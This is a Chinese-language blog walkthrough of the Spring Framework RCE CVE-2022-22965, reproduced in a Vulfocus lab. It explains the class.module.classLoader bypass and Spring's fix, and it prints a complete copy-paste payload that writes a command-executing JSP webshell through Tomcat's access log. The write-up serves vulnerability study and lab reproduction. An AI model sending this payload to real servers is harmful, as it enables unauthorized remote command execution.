【Vulfocus】CVE-2022-22965:Spring core RCE漏洞


【Vulfocus】CVE-2022-22965:Spring core RCE漏洞

漏洞影響范圍

1、JDK版本為9及以上

2、使用Spring框架及衍生框架的應用系統,版本低於5.3.18和5.2.20

3、目前公開的漏洞利用僅影響使用Tomcat中間件且開啟了Tomcat日志記錄的應用系統

漏洞原理

類似CVE-2010-1622漏洞,CVE-2010-1622漏洞的原因是Spring參數綁定時,可以注入一個Java pojo對象,這個對象可以是惡意的去注冊一些敏感tomcat的屬性,最后通過修改Tomcat的配置來執行危險操作。假設我們的業務邏輯中有這樣一個User。

public class User {

    private String name;
    private int age;

    public User() {
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Controller接收User參數,Spring會自動解析接收到的參數

@RestController
public class UserController {
    @RequestMapping("/hello")
    @ResponseBody
    public String hello(User user) {
        return "hello" + user.getName() + "!";
    }
}

如果用戶傳入的是http://localhost:8080/hello?name=Roderick,那么Spring會調用User.setName('Roderick')對User類的name進行賦值。也就是攻擊者可以直接調用Pojo對象的屬性,settergetter方法。

//所有Java對象的父類都為Object,Object擁有一個getClass方法用來獲取對象的Class
public final native Class<?> getClass();

而Class對象又有getClassLoader,這個在Tomcat中會獲取到org.apache.catalina.loader.ParallelWebappClassLoader(負責加載tomcat中每個應用的類包,每個應用一個),它保存了Tomcat的一些全局配置。CVE-2010-1622的攻擊原理就是通過傳入http://localhost:8080/hello?name=Roderick&class.classLoader.xx=xxxx改變Tomcat配置的值來構造惡意操作,例如DoS、寫Shell。

//利用鏈
class.classLoader.resources.context.parent.pipeline.first.pattern

對應這個現象的修復方式是在CachedIntrospectionResults,對ClassclassLoader做判斷,二者不能連用了。也就是上述的class.classLoader.xx被禁掉了,無法再進行利用。

Spring core RCE(CVE-2022-22965)就是繞過了這個限制,因為在Java9開始,Class對象中增加了getModule方法,獲取的是Module類對象,module存在getClassLoader方法,正好用來寫一條新的利用鏈。

Java的最小可執行文件是Class,jar則是Class文件的容器,可以打包許多Class。如果要運行一個jar應用,命令如下。app.jar是打包的應用,a.jar等是可能用到的第三方jar包。

java -cp app.jar:a.jar:b.jar:c.jar org.com.sample.Main

如果少引用了某個jar可能出現ClassNotFoundException的報錯。因為jar作為容器,只打包Class,並不關聯Class間的依賴。

而JDK 9開始引入的Module則是主要解決“依賴”的問題。能讓a.jar自動定位到依賴的b.jar。Module類的設計引入了getClassLoader方法,返回此模塊的ClassLoader。這也是Spring core RCE繞過限制的原因,class.classLoader被禁止了,但是在JDK9之后可以寫成class.module.classLoader,獲取到ClassLoader后就可以利用之前的方式將shell寫進日志,保存日志到web目錄下getshell。

//利用鏈
class.module.classLoader.resources.context.parent.pipeline.first.pattern

該漏洞通過修改 Tomcat 的日志設置(通過AccessLogValve)來寫入惡意文件,AccessLogValue主要利用字段

字段 含義
directory 將放置此 Valve 創建的日志文件的目錄的絕對或相對路徑名。如果指定了相對路徑,則將其解釋為相對於 $CATALINA_BASE。如果未指定目錄屬性,則默認值為“logs”(相對於 $CATALINA_BASE)。
prefix 添加到每個日志文件名稱開頭的前綴。如果未指定,默認值為“access_log”。
suffix 添加到每個日志文件名稱末尾的后綴。如果未指定,則默認值為“”(長度為零的字符串),表示不會添加后綴。
fileDateFormat 允許在訪問日志文件名中自定義時間戳。每當格式化的時間戳更改時,文件就會旋轉。默認值為.yyyy-MM-dd。如果您希望每小時輪換一次,則將此值設置為.yyyy-MM-dd.HH。日期格式將始終使用 locale 進行本地化en_US
pattern 一種格式布局,用於標識要記錄的請求和響應中的各種信息字段,或者選擇標准格式的 commoncombined

commoncombined包括%a %A %b %h %u等,另外,還支持從cookie、請求頭中傳入等:

%{xxx}i 請求頭中傳入
%{xxx}o 響應頭傳入
%{xxx}c 特定cookie傳入
%{xxx}r xxx是ServletRequest中的一個屬性
%{xxx}s xxx是HttpSession中的一個屬性

網上隨便找的POC

suffix: %>//
c1: Runtime
c2: <%
DNT: 1

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

注:POC中class.classLoader.resources.context.parent.pipeline.first這個屬性實際是org.apache.catalina.valves.AccessLogValve

​ dataformat會觸發切換日志的原因是class.classLoader.resources.context.parent.pipeline.first.rotatable,每次Log時,都會調用rotate。

最新的spring官方修復

可以看到,這次官方不在采用黑名單的形式去防御,而是采用白名單,當beanClass是class.Class時,只允許添加name屬性。並且如果屬性是ClassLoader 和 ProtectionDomain,會被忽略。

漏洞復現

Vulfocus 搭建環境

開環境,burp抓包change request method,上POC,一套流程順暢的一P

頁面訪問直接RCE

github上也有很多python的利用工具,可以直接使用。。

參考文章

https://www.jianshu.com/p/e0c7a03e40d2

http://rui0.cn/archives/1158

https://www.freebuf.com/vuls/327457.html

https://blog.csdn.net/weixin_45794666/article/details/123918066


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM